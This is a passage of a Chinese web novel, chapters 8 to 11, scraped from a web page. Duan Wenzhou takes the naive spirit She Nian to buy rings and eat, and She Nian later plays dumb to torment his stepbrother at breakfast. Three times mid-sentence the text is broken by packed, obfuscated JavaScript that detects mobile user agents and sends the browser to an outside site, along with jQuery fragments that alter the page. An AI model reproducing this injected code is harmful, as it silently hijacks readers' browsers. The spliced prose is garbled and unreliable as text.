汽车载着两人来到一家卡地亚外停下,虽然只是单独品牌的门店,但却单独占据了三层楼的门面,挑高的玻璃大门几乎有两层楼的高度,黑金点缀中显出低调的奢华。 “您好,请问两位需要戒指是吗?” 导购员亲切地上前迎接,认出这是今天包场的大客户。 “是的,我们需要对戒。” 段闻洲对人礼貌地笑了笑。 “好的,请跟我们来这边。” 进城的小土狗佘念跟着段闻洲的身后,一边左顾右盼地四处张望,一边被导购引领来到了vip区坐下。 店内的装潢是以黑白金为主色调,灯光配合着玻璃展柜里的商品投下,步入其中宛如走在宫殿里,一看就知奢华又昂贵。 “这些都是最新款的钻戒,您两位可以挑选一下。” 她笑着将一整个黑丝绒板上的戒指展示给二人看。 “有喜欢的吗?” 段闻洲对这些倒不怎么在意,觉得哪一款都差不多,便问佘念的意见。 “唔,都好漂亮啊这些。” 佘念咬着食指琢磨道,被眼前漂亮得闪闪发光的宝石惊艳到,眼花缭乱。 ——他在电视剧里看到过的,戒指是要在婚礼上交换然后一直戴在手上的,必须要选个满意的才行。 不能太大吧?不然行动不方便。 佘念思考着,偷偷瞄了一眼段闻洲的手。 那是一双有力宽大的手,露出半截手腕,指甲修剪得整洁圆润,手背上有明显的青筋凸起,中指处有一颗茧,应该是长时间握笔写字留下的痕迹。 真的是好大的手啊,如果自己露出原型的话,感觉能一把将自己的本体掐住。 不过人形状态下的话,好像也能包住自己的手。 嗯……这个手掌,怎么感觉在完全张开的情况下,也能够覆住自己的小腹一样。 佘念眨了眨眼,下意识抓起段闻洲的手,去用自己的手掌贴上他的手,两只手手心紧贴,互相传递着体温,大小的差距一下子体现了出来。 ——段闻洲的手几乎比佘念的大了一圈,若是攥拳的话,感觉能完全包裹住佘念的手。 “你的手好大啊。” 佘念情不自禁地感慨,圆溜溜的眼睛好奇地打量着人的手掌。 8. 第 8 章 手心陡然贴上一团柔软,段闻洲愣了一下,但没有抽手离开,他低头看去,只见把手掌与自己相贴的佘念嘴巴一张一合,感慨着自己的手掌好大。 仔细一看,确实如此。 看着自己比人长了差不多一个指节的手指,手心也大了一圈,段闻洲险些有了一种握拳的冲动,想试试直接握住人的手,将其包裹住或者与其十指相扣。 佘念的手很白,白到能透过皮肤看见其下的血管,手指修长,但这苍白和瘦削似乎透露出几分不正常,看起来更像是营养不良,指甲也略有些长,没有及时修剪。 这双手应当再长些肉,变得再红润些会更好看。 看来佘家真的没有好好待他。 想到这,段闻洲眸底暗了暗。 “嗯,你的手确实很小。” 他移开了手,捏了捏人没有什么多余肉的手心,把目光转到桌面上摆着的一大堆戒指上面。 “有看到喜欢的吗?” 其实佘念觉得都差不多的样子,没有特别喜欢的也没有特别讨厌的,于是他随手折中选了个最简单的2克拉的款式: “就这个吧。” 这个应该不太影响日常生活,他扫了一眼段闻洲的手,估摸道。 见状,段闻洲也没什么意见,便抬手让导购帮忙来量一下人的指围。 “您的手的确很小呢。” 分别给两人量好指围,得到了准确的尺寸后,导购看向佘念笑了笑,附和着方才段闻洲的说法。 “那我们就定——” 话还没说完,忽然听到一阵违和的肚子打鼓声音传来。 咕噜噜—— 小声,但绵长。 段闻洲顿了顿,停下话头,侧头寻找声音的来源。 而发出声音的某人,此时不好意思地对着手指,抿嘴睁着无辜的眼看来。 “饿了?” 段闻洲掩嘴低笑。 “有一点。” 佘念不好意思地挠了挠头,红着脸压低声音说。 ——今早上出门没来得及多吃几口早饭,截至现在他已经三小时没吃饭了,饿起来了。 闻言,段闻洲眼底含着笑意,跟导购员嘱咐了几句,让她们尽快弄完订购手续,并麻烦拿一点吃的来。 导购点点头应下,很快就端了一块樱桃蛋糕上来。 “我可以吃这个吗?” 看着诱人的奶油蛋糕,上面的樱桃也红得水嫩,佘念忍不住哇了一声垂涎欲滴。 “本来就是给你拿的。” 段闻洲好笑地将叉子递到人手中。 佘念高兴地接过,舔了舔嘴唇,叉下蛋糕的一角送入嘴中。 “你要吗?” 吃着吃着,他反应过来,嘴里含糊地扭头看向段闻洲问道,得到人否认的答复后才又继续低头吃。 白色的奶油沾到嘴唇,随即被火红的小舌一掠,灵活地卷入口中,在唇瓣上只留下明显的水润痕迹,亮晶晶的,仿佛涂了一层含亮粉的唇釉。 明明只是个简单的舔舐动作,没有其他的意味,但段闻洲下意识避开了视线,自己也说不清不知为何。 “好吃!” 蛋糕下肚,佘念眼睛倏地睁大,整个眸子都亮晶晶的,感慨完后随即又低头哼哧哼哧快速吃了几口。 每次看见他的吃东西的样子,不知为什么就觉得很满足,段闻洲不由得单手撑头,眼底噙笑地盯着人的吃相。 吃到最后,樱桃一不小心被叉子弄掉,骨碌碌地滚到了地上。 啊,掉了。 佘念呆了呆,顿了两秒后,便下意识地蹲下身想要去捡,并直接往嘴巴里送。 “你做什么?” 一旁的段闻洲瞧见他的动作,微微瞪大了眼,立刻握住他的手腕阻止。 “你抢我东西干什么?” 不明所以的佘念眨了眨眼,不乐意地倾身上前想要抢回樱桃。 刚刚不是说不吃吗?怎么现在又来抢我的了呢? 由于两人身高上有差距,佘念伸手够不着被人举过头顶的樱桃,不由得又靠近了点,以至于他的上半身此时完全贴在了人的身上,一截白皙的腰肢因抬手的动作而露了出来。 随着他的凑近,两人间的距离陡然被拉近不少,甚至对面人的鼻尖都快碰到自己,呼出的热气打在鼻翼两侧。 贴紧的动作极其暧昧,可偏偏那人却睁着一双无辜湿润的圆眼,满脑子只有吃的,没有半分其他的歪心思。 段闻洲一滞,随即定了定神,拉回思绪,替人扯下衣摆遮住腰部,然后将他按回沙发上,严肃地道: “掉地上的东西不能吃。” 这小孩到底是过的什么日子,掉在地上的东西都还理所当然地捡起来吃掉。 佘家那边就这么虐待人吗? 想到这,段闻洲对佘毅峰几人本就不好的印象更差了,同时也不由得更心疼起佘念来。 啊?在地上捡的东西不能吃的吗? 大地可是万物之母呀,是孕育一切的生命之地,是最为干净最为纯粹的存在,食物掉在地上是回归本源,不脏啊? 当年自己的叶子掉在地上,就是慢慢被大地之母吸收了的呀。 “为什么?” 佘念迷茫了。 “东西掉地上就脏了不能吃了,待会带你吃其他好吃的。” 见他似乎还不太理解,段闻洲便直接把手里的樱桃扔到了垃圾桶里。 啊!就那么直接扔掉了,原来你们人类是觉得东西掉在地上就脏了的吗? 佘念默默在心底记下这一点,有点心疼被丢掉的樱桃,但还是克制住了去捡的冲动,蔫搭搭地乖乖照做。 弄好了订购手续,两人签完字从店里离开。 “那再见啦。” 以为完事了,佘念乖乖地同人挥手告别,不过还没来得及转身走开,就被人重新拉住了胳膊。 “去哪?” “嗯?不是买完戒指了吗?” 佘念歪了歪头。 “戒指是买完了,现在带你去吃饭。” 说着,段闻洲带着人向自己停车的方向走去,和人一块上了车。 “你不是饿了吗?我带你吃饱了再回去。” “好!” 一听见有东西吃,刚才一块蛋糕只能勉强垫一垫,现在还饿着的佘念忙不迭地点头,小鸡啄米一般。 汽车驶到附近的一家西餐厅,助理已经替两人预定了位置,所以一走进就有服务员领着他们到了卡座。 “要吃点什么?” 段闻洲将菜单交给佘念。 望着上面陌生的菜式,虽然看上去都很香的样子,但无奈佘念完全不认识这些菜都是什么,只好默默又把菜单推回人跟前。 “你点吧。” 他无辜地抬眼望来。 “有什么忌口的吗?” “应该,没有?” 佘念也不确定地说。 怎么这都不确定,段闻洲哑然失笑,便给两人各点了一份牛排,外加其他的小食。 淋着酱料滋滋作响的牛排被端上来,溢出的香气让佘念顿时口水都快要流出来了。 “好香。” 不过这么大一块肉该怎么吃啊,他拿起刀叉,戳了戳牛排,本想直接叉起送进嘴里,可无奈太大份,叉子根本弄不起来。 于是他又试着用左手的刀去切,可划拉了半天都没切成功。 到底要怎么吃啊!美食到嘴边了怎么还吃不上呢! 佘念小发雷霆,捏着刀叉怒瞪盘子里的牛排。 有点可爱。 瞧着他的一系列动作,段闻洲没忍住低笑出声,压了压上翘的嘴角,将自己跟前已经切好的牛排放到人跟前,交换了其面前那份完整的。 “帮你切好了,吃吧。” 他弯了弯眼睛,催促道。 “谢谢你!” 真的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707034|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大好人!太贴心了,佘念咧嘴露出笑容,高兴地对人道谢,然后迫不及待地叉起肉送入嘴里。 “好吃!” 一吃到嘴里,肉香和汁水在口中爆裂开来,佘念倏地睁大了眼睛,眸子里满是亮晶晶的光。 不知怎的,段闻洲总觉得自己幻视看到了佘念身后的尾巴,在吃到肉以后,他那垂下的尾巴唰地一下上翘,螺旋桨似的摇得飞快。 一看就真的很喜欢。 “你喜欢就好。” 段闻洲笑道,低头重新去切自己面前那份牛排,时不时地抬眼观察着佘念。 不得不说,佘念吃饭的样子很香,但是又足够斯文,干净,不会吃得满嘴流油或者满手酱汁,就连吧唧声也没有,一小口一小口的,吃得又快动静又轻,脸颊鼓鼓囊囊的,像是一只仓鼠。 简单来说,就是非常地乖。 吃完肉后,佘念又拿起一个泡芙。 “这个也好好吃。” 吃完一整个以后,他没忍住用舌尖慢悠悠地卷起指尖上的残渣吃干净,又舔了舔指腹,像是在回味残留下来的甜味。 这样舔手指的动作……看来这小孩似乎没什么危机意识。 也是,本就是个单纯的小孩子而已。 段闻洲盯着人,在心底想道。 注意到来自对面人的目光,佘念吃泡芙的动作停了下来,停下舔指腹的动作回看去。 他看了看段闻洲,又低头看了看自己跟前的那一份甜品,隐约猜到了什么。 ——泡芙一份两个,而自己吃掉了一个。 “那个,你也要尝尝吗?” 佘念缓缓看看,可嘴里虽然是这么问的,眼睛却是一眨不眨地盯着最后一个泡芙,像是极其舍不得的样子。 ——望过来的大眼睛里,写着满满的依依不舍,简直呼之欲出。 这小孩,还护食呢。 脸上表情也太好懂了,段闻洲有些好笑,虽然知道误会了,但还是准备逗一逗人: “那你可以给我吃吗?” 听他这么说,明白他是要吃的意思,佘念嘴角向下弯了弯,依依不舍地盯着泡芙,最后想通了,两眼一闭,狠下心来大义凛然地摆出大方的架势,一把将那最后一个泡芙推到人面前: “给你。” 催促人赶快吃掉,做完这一切后,佘念还特意闭上眼睛把头扭到一边,似乎不亲眼看见就不会舍不得的样子。 “舍不得?” 段闻洲都快憋不住了,努力压住快要翘起的嘴角,继续逗人。 “没有。” 佘念用力地摇了摇头。 于是段闻洲含笑,拿起泡芙假装要送到自己嘴边,同时偷偷打量佘念的反应。 而佘念则是悄悄睁开了一只眼,小心翼翼地观察着人。 “哈哈,逗你的,我不爱吃,你吃吧。” 这口是心非的简直太有意思了,想法都明晃晃写在脸上,段闻洲哈哈笑出声,不再逗人,手一个拐弯直接把泡芙送到了人的嘴边。 嘴里突然被塞入最爱的泡芙,佘念眼睛微微睁大,圆溜溜又亮晶晶的,就好像失而复得最爱的小鱼干的猫一样。 “谢谢你!你真是个好人!” 心底对段闻洲的好感又增加了不少,他开心地嗷呜一口叼过泡芙,小口小口啃着。 嘴角又沾到了奶油,不过这一次在被人舔掉之前,段闻洲先一步拿过纸巾,替人擦掉。 “唔,谢谢。” 感受着温柔的力道,宽大的手背偶然擦过脸颊,触感稍稍有些痒,佘念乖乖扬起头,愣愣地道谢。 而段闻洲只是笑了笑,没有回答。 会给自己好吃的,还会照顾自己,就是不让自己捡地上吃的东西这点有点过分,不过整体还是很好的一个人! 看来以后自己可以多信任一下这位闻洲哥哥……完全信任好像也不是不行。 比起佘家那群人,他可好太多了! 9. 第 9 章 那天吃完饭后,段闻洲便将佘念送回了佘家。 本以为要过一段时间才会再有接触,不过让佘念意外的是,第二天一早还没睡醒,他就被佘毅峰喊了起来。 他揉着惺忪的眼,眼底的睡意还没消散,茫然地被叫到了楼下。 见他来了,佘毅峰冲跟前一身西装的男人仰了仰下巴。 男人顺着视线看去,点了点头后便上前一步来到佘念跟前,将一个箱子递到人面前。 佘念眨了眨眼,蒙圈地看了一眼箱子,然后抬起头直视对面的人。 这个男人,好像是段闻洲的司机来着? 他回忆着。 “您好,这是段总让我送来的,吩咐我务必亲手送到您手上。” 司机礼貌又恭敬地道,确保人拿稳以后才放开手。 听到那句“亲手送到”,佘毅峰不屑地哼了一声。 刚刚让这人给自己就行,可他偏偏就轴得跟个机器人似的,一直强调必须要交到佘念本人手里才行。 不然自己也不会让人去楼上把他喊下来。 “谢谢,这是什么呀?” 佘念捧着怀里不太重也不太大的箱子,好奇地问。 “您打开就知道了,段总说是送您的礼物。” 完成任务后,司机冲人弯腰鞠了一躬,便离开了佘家。 “是什么东西?” 佘毅峰皱眉走上前,有些好奇段闻洲为什么会突然给自家这个傻子送东西。 才不给你碰。 见他要伸手,佘念哼了一声,毫不客气地一把扭身避开,瞥了人一眼后就自顾自往楼上房间跑去,噔噔噔上了楼。 关上房门后,他才打开盒子。 ——只见盒子里装着的,是一整箱樱桃,而且还是特级4j的,个大皮薄,鲜嫩多汁,品相极佳。 红得就像是段闻洲身上佩戴的红宝石袖扣一样,看上去就知道又艳又贵。 难道是因为昨天蛋糕上的樱桃掉了,所以才送我这个的吗? 虽然只扔掉了自己一颗樱桃,但又送来了整整一箱。 佘念恍然大明白过来,心底对当时人阻止自己捡东西吃的小小埋怨,也在此时尽数烟消云散,半分不留。 同时没忍住捻了一颗塞进嘴里。 樱桃很甜,让他不由得回想起那天和人一起时吃到的奶油,也是一样的可口,一样的甜蜜。 一股暖流直达心底,是陌生的体验,但并不让人讨厌。 嘴角不由得上扬,佘念也不知道究竟在高兴什么,但他知道自己并不讨厌这种感觉。 于是在他的心里,段闻洲的好人卡再加一。 而另一边,段闻洲得到了司机的电话: “已经送过去了是吗?嗯,亲手交到他手里就好,辛苦你了。” 等他挂断电话后,段母一脸忧心忡忡地看向他,试探着问: “闻洲,你早上准备的樱桃,是给佘家那少爷送过去的?” “是的。” 昨天小孩没吃到樱桃时那么伤心,就想着给他送一点,不然一个没留神他又去地上捡吃的可怎么办,段闻洲失笑。 “你,不会真看上那孩子了吧?我听圈子里其他的人说过,他就是个傻子,智商有问题的。” 段母欲言又止,没想通自己儿子为什么要对人这么好。 难不成真喜欢上那傻子了? “妈,你说什么呢,我怎么会喜欢上他。” 被母亲的猜测逗乐,段闻洲摆了摆手,好笑地否认了。 “那你还对人家这么好?” “我主要是看那孩子挺可怜的,就想着顺手多照顾一点。” 明明佘念才是佘家真正的少爷,但又过得那么惨,佘家的人一看就没好好对他。 “而且其实我看那孩子也不是很傻,就是比较迷糊而已,其实是能够正常沟通的。” “那倒是,听别人说过,佘毅峰不太待见这个儿子的。” 回想起之前听到的传言,段母赞同地点点头。 “另外我对人这么好,另一个原因还是想借机试试看佘家的态度,看联姻的事他们会就此收手,还是要借着佘念的事瞪鼻子上眼。” 段闻洲顿了顿,敛起了笑意。 ——如果佘家发现自己很照顾佘念,继而以此为缘由,想要再从段家身上捞别的好处的话,那自己可就要连着联姻一事与他们新账旧账一起算了,绝不可能视而不见。 “唉,我明白,你有你自己的打算,闻洲啊,这次的事只怕是委屈你了。” 段母叹了口气,还是对联姻对象是佘念这件事不太满意。 “哪有,妈你别多想,本来联姻这事我本来就是同意的,只是和你们的出发点不太一样而已。” 段闻洲摇了摇头,不以为意。 “再说了,反正要不了几年就会离的,大不了就当是给这小孩做几年监护人。” ———— 佘念丝毫不知送来樱桃的段闻洲的打算,躲在房间里一口气吃了好几个樱桃。 就在他还想再来一颗时,保姆忽然敲了敲房门,在外说道: “佘念少爷,老爷让您下去一起吃早饭。” 嗯?怎么今天又让自己下楼吃早饭了,不端房间里来吗? 佘念打开房门,趴着门槛边看向保姆: “为什么?” 按命令办事的保姆也不知道原因,只说是老爷的吩咐。 “好吧。” 见状,佘念只好跟着她哒哒哒下了楼,来到楼梯口就看见了佘毅峰和顾蓉外加佘群逸三人。 他们已经在餐桌边坐下,见佘念到了,顾蓉抬起头神色复杂地扫了他一眼,佘群逸则是瞪着他,不屑地哼了一声,似乎很是不满。 而佘毅峰只是淡淡地瞥了瞥他,随即低下头一边喝粥,一边沉声开口: “过来坐吧。” “哦。” 佘念应道,随便在桌边的一个空位坐下,保姆见状立刻将碗筷和早餐给他端上来。 刚吃一口,佘毅峰便开始试探了: “今天送来的东西,是段闻洲专门送你的?” “嗯。” 只顾埋头吃早饭,佘念随口回答。 “看来段闻洲很喜欢你?” “不知道。” “呵爸,段闻洲是个疯子还是也是个傻子,会喜欢他?” 不待回答,佘群逸冷笑一声,抢先一步开口,话语里满是鄙夷不屑。 “胡说什么。” 佘毅峰蹙眉,敲了敲碗的边沿,示意他安静,然后又继续对佘念道。 “既然你有这个运气,能够讨到段闻洲的喜欢,那就再接再厉,千万不要让他讨厌你了,这是你现在唯一能实现的价值了。” “等以后你俩真正结婚以后,要试着多跟他接触,最好是能多了解到段氏公司的事。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707035|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这样以后让你打听机密也更方便一些,终于,说到最后时他图穷匕见,目的在于让佘念想办法令段闻洲放松警惕,日后好方便套取段家的秘密。 我从佘家偷机密给人家还差不多,人家是好人你又不是,佘念默默在心底翻了个白眼,假装没听到一样概不回答。 见他这个样子,佘毅峰也知道一下子不能完全同人说清楚,便没再继续下去。 “爸,凭什么佘念就能进去段家享福,那我呢?” 突然,佘群逸开口,不满地道。 毕竟段家总体来说可比佘家要强,凭什么这种好事轮不到自己身上。 “你懂什么,谁知道段家究竟能不能度过这次危机,万一他们破产了怎么办?” 佘毅峰哼了一声。 “就是啊,小群,妈肯定不会让你过得比他还差的,相信妈。” 顾蓉眼珠子转了转,心里有了主意。 “对了,赵家的小姐你还有印象吗?小时候你们在一起玩过的,听说上个月赵小姐回国了,到时候妈带你去跟她多相处相处。” 赵家在本地也是个名门,比起佘家来要更有实力,顾蓉打的就是让佘群逸攀上赵家这个主意。 “可以,多跟赵家的人接触一下不是什么坏事。” 佘毅峰也点了点头,不过他打的主意是想日后联合赵家一块,扳倒段家的事。 而佘群逸一听有这好事,自然满口答应。 被他们无视的佘念虽然不明白他们想干什么,但还是在心底记下了这事,直觉他们没安什么好心思。 他低头摆弄着碗边放着的一管蛋黄酱,拧开了瓶盖后却发现怎么也挤不出来。 什么情况? 佘念皱了皱眉,又用力地挤了挤管身。 ——其实是因为他没撕开口子的铝膜,所以不管怎么挤也挤不出来。 但没想到大力出奇迹,就在佘念使出吃奶的劲猛地一按时,里面的蛋黄酱终于被挤了出来。 只是有点太用力了。 因为蛋黄酱以肉眼可见的速度咻地一下从管口里射出,呈现一条抛物线划过半空,并且精准得好像计算过一样,啪地喷在了对面佘群逸的脸上。 也不知是苍天有眼,还是阴差阳错。 一时间,整个餐桌上陷入诡异的安静,就连一旁的保姆都震惊得不敢上前,呼吸都放轻了不少,以免被迁怒。 “你、有、病、啊!!” 被波及的佘群逸抬手抹掉脸上的酱,气得拍桌而起,指着佘念骂道。 而佘念歪了歪头,一语不发地看着他。 “啧,乖儿子咱不生气,我们不跟这个傻子计较。” 顾蓉大概也被这意外给怔住了,呆了好几秒后才回过神来,连忙抬手让保姆拿纸巾来。 而佘毅峰也是皱了皱眉,虽然不悦但也没有多说什么,因为自己还要让佘念帮忙做事,不好现在就冲他发火。 不跟,傻子计较? 佘念觉得这句话好熟悉,在脑内为数不多的知识里检索一番后恍然大悟,回想起来。 ——电视上经常有这句话来着! “你跟一个傻子计较什么?”“不和傻子一般见识!”“他一个傻子,你还指望能跟他讲什么道理?” 好像在人类世界里,傻子做事是不用担责任的? 原主是个傻子,但我不是啊! 想到这,佘念心底浮现出了一个鬼点子。 10. 第 10 章 “该死的。” 见父亲没有出声站在自己这边,佘群逸一边骂骂咧咧地擦掉脸上的蛋黄酱,一边不甘心地瞪着佘念。 而佘念权当看不见,继续吃饭。 同时在心底酝酿鬼点子。 见佘毅峰没有开口,顾蓉便知道了他的态度,于是只好不停地安抚自己的儿子别生气,以免惹得他爸不高兴。 佘群逸不情不愿地低骂了两声,擦干净脸后深呼吸一口气,压下心底怒意,艰难地咽下这口气。 见他准备夹菜了,佘念瞅准时机,迅速伸出筷子提前抢走了人想夹的。 可谓是横刀夺爱,半路杀出个佘咬金。 被抢先的佘群逸皱了皱眉,偏头看了人一眼,但佘念却假装没看到一样,把刚刚的战利品放进碗里。 ——咦等会,外面这层叶子能吃吗? 看了看战利品外面包着的荷叶,佘念试探着咬了一口,发现不好吃后连忙吐了吐舌。 眼见佘群逸又要夹菜,佘念再次进入战备状态,放下第一个战利品后又极迅速地再次夺食。 一个要夹,另一个就要抢,饭没顾得上吃几口,俩兄弟倒是在餐桌上斗起来了。 偏偏落下风的还是佘群逸。 不过严格来说,其实算佘群逸单方面被佘念针对而已,每次都被人故意抢走想夹的菜,什么都吃不到。 “你到底要干嘛!” 一开始还以为是巧合,可没想到最后早饭都快吃完了,自己还一口都没吃上,反倒佘念的碗里都堆成山了,气疯了的佘群逸直接摔筷子不干了,拍桌站起指着他骂。 “嗯?” 而佘念嚼着刚刚抢走的新战利品,歪了歪头,佯装无辜地回看着他。 “你一直抢我要夹的菜什么意思啊?” 看着他一脸无辜的样子,佘群逸更气了。 “我吗?” “不然还能有谁?” “我干嘛了?” “你抢我菜!” “谁抢你菜了?” “你啊!” “我干嘛了?” “你——!” “好了好了小群,别跟他一般见识,他一个傻子能懂什么?应该不是故意的。” 眼见两人车轱辘话来回滚,自己儿子又明显占下风,顾蓉连忙和稀泥劝道。 ——一个刚刚吃糯米鸡都不会剥掉外面的荷叶,而是自己咬的家伙,哪会聪明到会针对人呢? “我忍了多少次了,他都抢我几次菜了,说不是故意的谁信啊!” 佘群逸满肚子火。 “你是要这个吗?” 装作茫然的样子,佘念夹起碗里的糕点问道。 “知道我要那你刚刚还抢什么!” “噢,那给你吧。” 佘念假装不情愿的样子,哦了一声,然后将其对着人抛了过去。 哐当一下,力道似乎有些太大,桂花糕咕咚一声砸到了佘群逸的碗内侧的边沿。 碗向上一翘,受力不均,碗里的东西一下子全倒了出来,滚出的吃食和碗里的汤汁全部打翻滚到了他的腿上。 “你真有病啊是不是!” 这下佘群逸是真的被气炸了,要不是顾念到父亲还在场,差点想直接掀桌了。 “我没有吗?再说不是你说要的吗?” 佘念蹙眉,装出一副十分不懂按他的意思来了为什么还要生气的样子。 “群逸。” 佘毅峰低沉的声音响起,带着点警告的严肃意味在里面。 “和你哥哥计较什么,他智商就那样,又不懂这些。” “你回房间去把衣服换一下。” 如果换做平常,佘毅峰不仅不会偏袒佘念,就连上桌吃饭都不会让人来,只不过考虑到佘念现在和段闻洲交好,怕人到时候嘴上没个把门乱说话,万一让段家那边误会就不好了,只得先就着他。 “嘁。” 见他都发话了,佘群逸不情愿地起身,嘴里骂骂咧咧地上楼回了房间。 原来装傻子真的有用啊! 看着吃瘪的佘群逸,佘念恍然大悟,似乎找到了诀窍。 看来自己以后得藏好智商才行,在他们面前要装成傻子的样子。 这么想的佘念殊不知,在后来其实不用他藏,佘家的人压根也没觉得他恢复正常过。 ———— 自从那天在早饭桌上闹了一顿后,佘毅峰就再也没喊过佘念上桌吃饭。 大概是怕佘念又做了什么事惹到佘群逸,等会这少爷脾气上来真掀桌子就难办了。 不过饭桌上说的和赵家攀关系的事,三人并不只是停留在口头上,没过多久顾蓉就真的付出行动了。 “小群,收拾好了吗?今下午我约了赵家太太一起喝下午茶,赵小姐也去,你跟我一块过去跟人熟悉一下。” 已经打扮完毕的顾蓉朝楼上房间里的佘群逸喊道。 “妈,来了——” 闻言,佘群逸立马从楼上跑下来。 听见动静的佘念悄悄推开房间的门,透过一条小缝,打探外面的情况。 只见佘群逸噔噔噔地从楼上跑下来,今天的他穿得花枝招展的,比以往佘念见过的任何花蝴蝶还要艳。 路过二楼时他留意到探头的佘念,故意放慢了脚步,昂起下巴不屑地哼了一声。 佘念:? 拉上自家儿子后,顾蓉就让司机送她们出发,直接去找赵家那边了。 没热闹看了以后佘念就回了房间,刚合上房门就听见手机铃声响了起来。 “上次的樱桃好吃吗?” 电话接通以后,那端传来段闻洲的声音。 那边定的戒指很快就准备好了,他安排人去取后,就开始着手准备下一步礼服的定制,所以打电话来联系佘念了。 “好吃的!我已经全部吃完了。” 佘念咧嘴灿烂一笑,语气里都带着欢快。 这么快就吃完了那么大一箱? 段闻洲微微诧异,但一想到是馋嘴的佘念的话,好像也正常了,便不再多言。 “明天你有时间吗?我带你去定做婚礼上要穿的礼服。” 他说道。 “好呀。” 佘念忙不迭地应道。 甜蜜蜜的口感仿佛又在舌尖回荡,他还挺喜欢和段闻洲见面的,因为基本上每次和人见面都会有好吃的,还会被好好照顾。 啊,突然好想快点结婚呀,这样就能天天在一起了。 “那明天上午还是老时间老地点可以吗?我顺路过去接你。” “可以的!” 这次段闻洲本来想直接去佘家接人的,不过那边裁缝约好了定在上午十点见面,但是自己九点半前公司有一个会议要开,去接人的话时间会来不及,便继续约定在上次的地方碰面。 第二天早上,佘念收拾好了就让司机送自己出门。 今天的天气似乎不太好,天空灰蒙蒙的,四周的空气里也黏糊糊的,湿度很大,看上去很快就要下雨了。 司机将人送到约定地点后就先走了,佘念独自站在路牌下等着段闻洲。 距离约定时间还剩两分钟时,段闻洲的电话打了过来:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707036|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “抱歉,我可能要晚到一会,会议的时间延长了。” “嗯,那我在这里等你。” 丝毫不觉得生气的佘念好脾气地答应了,但他没有找别的地方逛一逛打发时间,而是照旧乖乖待在路牌底下等人。 忽然间,一道闪电划过天空,阴沉的乌云被破开一个口子,转瞬间便有无数的雨滴从口子里滚落,啪嗒倾泻而下,砸在大地上。 “下雨了,快跑啊——” 路边猝不及防的淋湿的行人喊道,立刻撒开脚步跑走,就近寻找着避雨的屋檐,而有的有先见之明的行人则掏出了早已备好的雨伞,撑开隔绝了雨幕。 一时间,连串的雨珠成了线,为方才还干燥的大地上铺上了一层雨做的幕布,本就灰蒙的世界显得更迷离了。 但不同于立即避雨的行人,只有佘念依然站在原地没有动弹。 豆大的雨珠滴落在身上,很快就全部打湿了他的头发和身上衣物。 “那人是不是有病啊,这么大的雨都不躲?” 旁边商场屋檐下躲雨的人见他在雨中一动不动,小声地同好友指指点点。 丝毫不知自己行为被其他人如何评价,佘念仰起了头,沉浸地迎接着滂沱大雨。 ——好清爽,好舒服啊! 他闭上眼,兴奋地感慨道。 自从来到人类社会以后,自己还没有见过雨呢,这久违的吸收雨水的感觉,真是又清凉又满足。 之前在深山里时,佘念最喜欢的就是下雨的时候了,淋雨既能为自己补充天然的充足水分,吸收精华,还能洗去叶子上沾染的灰尘和污垢,下过雨以后就连山里的空气也会变得更湿润,生长和存活也会更舒适。 就在他淋得美滋滋时,口袋里的手机又响了。 “喂?” 他冒雨接通了段闻洲的电话。 “我赶过来了,这么大的雨你现在在哪?” 马上就能赶到的段闻洲看着车窗外,透过朦胧的雨雾寻找佘念的身影。 “我就在原地等你呀?” 佘念眨了眨眼回答。 “原地?你带伞没有——” 段闻洲话还没说完,就硬生生止住了。 因为不用问,他已经发现了佘念的身影了。 倒不是他眼尖,而是现在的佘念实在太显眼了。 ——几乎空无一人的马路上,只有一个身影孤零零地立在路边,在连绵不绝的大雨里撑起一个人形轮廓。 那人已经湿透,浑身上下没一处干的地方,雨珠顺着打湿的发梢一直滚落,可他偏偏还在那杵着不动,甚至还举着手机接电话。 段闻洲皱了皱眉,挂断电话,让司机赶快开去路边停在人跟前。 就在佘念还疑惑为什么电话忽然被挂断了时,一辆汽车在自己身旁驶停。 紧接着车窗降下,露出了后座段闻洲的脸。 “佘念,上车。” 他似乎心情不太好,眉头紧拧,周身的低气压连车外的佘念都感觉到了。 于是他没有说话,乖乖地收起手机,湿漉漉地钻进了人的车里。 他浑身湿透,被水泡发一样,坐在后座的那一小方位置上,不但座椅和地面,仿佛连空气的湿度都变大了些许。 “为什么不找地方躲雨?” 段闻洲板着脸问。 嗯?下雨是要躲的吗?不该淋吗? “不是你让我在那里等你的吗?” 不明所以的佘念小心地抬眼观察身旁的人,懵懂的大眼睛里闪着无知的光。 下雨不会躲,但会眨巴大眼睛。 11. 第 11 章 “不是你让我在那里等你的吗?” 这话一出,刚才还有些生气的段闻洲忽然哽住了。 仿佛拳头打在了棉花上,喉间的气上不去也下不来。 